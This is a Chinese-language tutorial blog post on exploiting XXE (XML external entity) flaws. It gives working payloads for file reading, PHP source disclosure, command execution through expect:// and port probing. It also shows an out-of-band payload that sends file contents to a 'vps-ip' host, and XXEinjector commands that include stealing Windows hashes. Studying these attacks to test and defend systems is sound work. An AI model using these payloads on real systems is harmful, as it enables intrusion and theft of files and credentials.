XXE从入门到精通

2025-01-22 1 0

XXE从入门到精通

一、前置知识

1. 什么是XXE

在应用程序解析XML时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站等危害

2. xml-dtd

<?xml version="1.0"?> 
<!-- 这是注释 -->
<!DOCTYPE foo [
<!-- 定义变量xxe -->
<!-- 外部实体要用system关键字 -->
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> 
<foo>&ampxxe;</foo>
<!-- 读取变量xxe -->

3. CDATA

所有 XML 文档中的文本均会被解析器解析。只有 CDATA 区段(CDATA section)中的文本会被解析器忽略。使用CDATA可以读取一些带有非法字符的文件

在 XML 元素中,"<" 和 "&" 是非法的。

  • "<" 会产生错误,因为解析器会把该字符解释为新元素的开始。

  • "&" 也会产生错误,因为解析器会把该字符解释为字符实体的开始。

某些文本,比如 JavaScript 代码,包含大量 "<" 或 "&" 字符。为了避免错误,可以将脚本代码定义为 CDATA。

二、有回显XXE的利用

1. 读取文件

windows:
<?xml version="1.0"?> 
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> 
<foo>&ampxxe;</foo>

linux:
<?xml version="1.0"?> 
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:////etc/passwd"> ]>
<foo>&ampxxe;</foo>

XXE从入门到精通插图

2. 使用CDATA的方式读取文件

```xml-dtd
payload:
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE foo [
<!ENTITY % start "<![CDATA[">
<!ENTITY % then SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> 
%dtd; ]> 

<foo>&ampall;</foo>
evil.dtd:
<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%then;%end;">

XXE从入门到精通插图1

### 3\. 读取php源码:

``` xml-dtd
<?xml version="1.0"?> 
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe_1.php"> ]>
<foo>&ampxxe;</foo>

使用base64解码获取源码。
XXE从入门到精通插图2

4. 远程代码执行

<?xml version="1.0"?> 
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://whoami" > ]> 
<foo>&ampxxe;</foo>

安装了php expect 扩展(不常见)

5. 内网端口探测

<?xml version="1.0"?> 
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" > ]> 
<foo>&ampxxe;</foo>

根据返回时间判断端口是否开放。返回时间短,该端口开放;返回时间长,端口未开发。

三、 无回显XXE的利用

payload:
<?xml version="1.0" ?>
<!DOCTYPE ANY [
<!ENTITY % remote SYSTEM "http://vps-ip/test.dtd">
%remote;%out;%send;
]>
test.dtd:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % out "<!ENTITY % send SYSTEM 'http://vps-ip/?p=%file;'>">

XXE从入门到精通插图3
思路:加载远程dtd文件,dtd发起一个http请求,将base64编码的c:/windows/win.ini文件赋予给实体file,对http://vps-ip/?p=%file这个url发起请求时,服务器上的日志文件就会保存c:/windows/win.ini的文件内容

四、工具的使用XXEinjector

1. ruby环境下载

ruby安装完成后在命令行输入:ruby -v
XXE从入门到精通插图4

2. XXEinjector下载

XXEinjector

3. 常用参数

--host	    必填,用于反向连接的IP地址 (--host=192.168.0.2)
--file	    必填,包含有效HTTP请求的xml文件. 您还可以用“XXEINJECT”标记应该注入DTD的点(--file=/tmp/req.txt)
--path	    枚举目录时为必填项-要枚举的路径(--path=/etc)
--brute	    爆破时为必填项-字典路径 (--brute=/tmp/brute.txt)
--logger    用于记录输出结果
--rhost	    远程主机的IP地址或域名(--rhost=192.168.0.3)
--rport	    远程主机的TCP端口(--rport=8080)
--oob	    带外利用方法。默认为FTP,FTP可以在任何应用程序中使用。在Java<1.7的应用程序中,HTTP可用于通过目录列表进行强制转换和枚举。Gopher只能在Java<1.7的应用程序中使用。(--oob=http://ftp/gopher)(--oob=http/ftp/gopher)
--2ndfile   包含在二阶攻击中使用的有效HTTP请求的文件(--2ndfile=/tmp/2ndreq.txt)
--phpfilter在发送之前使用PHP过滤器对目标文件进行base64编码
--netdoc    使用netdoc协议(Java).
--enumports 枚举反向连接的未筛选端口。指定值“all”以枚举所有TCP端口。(--enumports=21,22,80,443,445)
--hashes    窃取运行应用程序的用户的Windows哈希值.
--expect	使用PHP expect扩展执行任意系统命令。最好使用HTTP和PHP filter。(--expect=ls)
--upload	使用Java jar模式将指定文件上传到临时文件中。(--upload=/tmp/upload.txt)
--xslt	    测试xslt注入.
--ssl		使用ssl.
--proxy	    使用代理(--proxy=127.0.0.1:8080)
--httpport  设置自定义HTTP端口 (--httpport=80)
--ftpport	设置自定义FTP端口(--ftpport=21)
--gopherport设置自定义gopher端口(--gopherport=70)
--jarport	使用jar设置上传文件的自定义端口(--jarport=1337)
--xsltport  为XSLT注入测试设置自定义端口(--xsltport=1337)
--test	    用于测试请求的有效性.
--urlencode	URL编码注入DTD(默认).
--output	指定一个文件作为日志,将爆破攻击结果输入该日志中(--output=/tmp/out.txt)
--timeout	接收文件或者目录的超时时间(--timeout=20)
--contimeout关闭与服务器的连接超时。用于防止DoS(--contimeout=20)
--fast	    跳过枚举查询.
--verbose	显示详细消息.
  1. 使用示例
    XXE从入门到精通插图5
    在传xml的位置输入XXEINJECT,复制文件为txt

ruby XXEinjector.rb --host=192.168.160.128 --file=1.txt --path=d:/1.txt  --oob=http --phpfilter --httpport=8081 --verbose
# 使用http方法,读取目标主机d:/1.txt文件,用base64编码,使用自定义http端口8081,输出详细信息。

XXE从入门到精通插图6
(1)枚举HTTPS应用程序中的/etc目录

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl

(2)使用gopher(OOB方法)枚举/etc目录:

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher

(3)二次漏洞利用

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt

(4)使用HTTP带外方法和netdoc协议对文件进行爆破攻击

ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc

(5)通过直接性漏洞利用方式进行资源枚举

ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK

(6)枚举未过滤的端口

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all

(7)窃取Windows哈希

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes

(8)使用Java jar上传文件

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf

(9)使用PHP expect执行系统指令

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls

(10)测试XSLT注入

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt

(11)记录请求信息

ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

微软披露macOS漏洞CVE-2024-44243,允许安装Rootkit
【论文速读】| AutoPT:研究者距离端到端的自动化网络渗透测试还有多远?
Web安全初学者入门基础
flask安全指南
后渗透——Window下多种密码提取的小技巧
代码审计 | Sentinel CMS 漏洞分析

发布评论